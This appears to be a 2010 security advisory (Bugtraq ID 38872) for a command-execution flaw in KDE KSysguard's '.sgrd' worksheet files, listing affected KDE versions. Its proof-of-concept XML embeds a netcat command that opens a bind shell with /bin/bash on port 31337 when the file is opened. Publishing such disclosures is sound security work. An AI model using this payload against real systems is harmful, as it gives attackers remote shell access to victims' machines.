KDE KSysguard '.sgrd' File Processing Arbitrary Command Execution Vulnerability

BID:38872

Info

KDE KSysguard '.sgrd' File Processing Arbitrary Command Execution Vulnerability

Bugtraq ID: 38872
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 20 2010 12:00AM
Updated: Mar 20 2010 12:00AM
Credit: emgent
Vulnerable: KDE KDE 4.4.1
KDE KDE 4.4
KDE KDE 4.3.3
KDE KDE 4.3.2
KDE KDE 4.2.4
KDE KDE 4.0.3
KDE KDE 4.0.2
KDE KDE 4.0.1
KDE KDE 4.0
Not Vulnerable:

Exploit / POC

KDE KSysguard '.sgrd' File Processing Arbitrary Command Execution Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim to use the affected application to open a malicious file.

The following XML file is available:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE KSysGuardWorkSheet>
<WorkSheet title="She" interval="2" locked="0" rows="2" columns="2" >
<host command="nc -l -p31337 -e /bin/bash" /> </WorkSheet>

Solution / Fix

KDE KSysguard '.sgrd' File Processing Arbitrary Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

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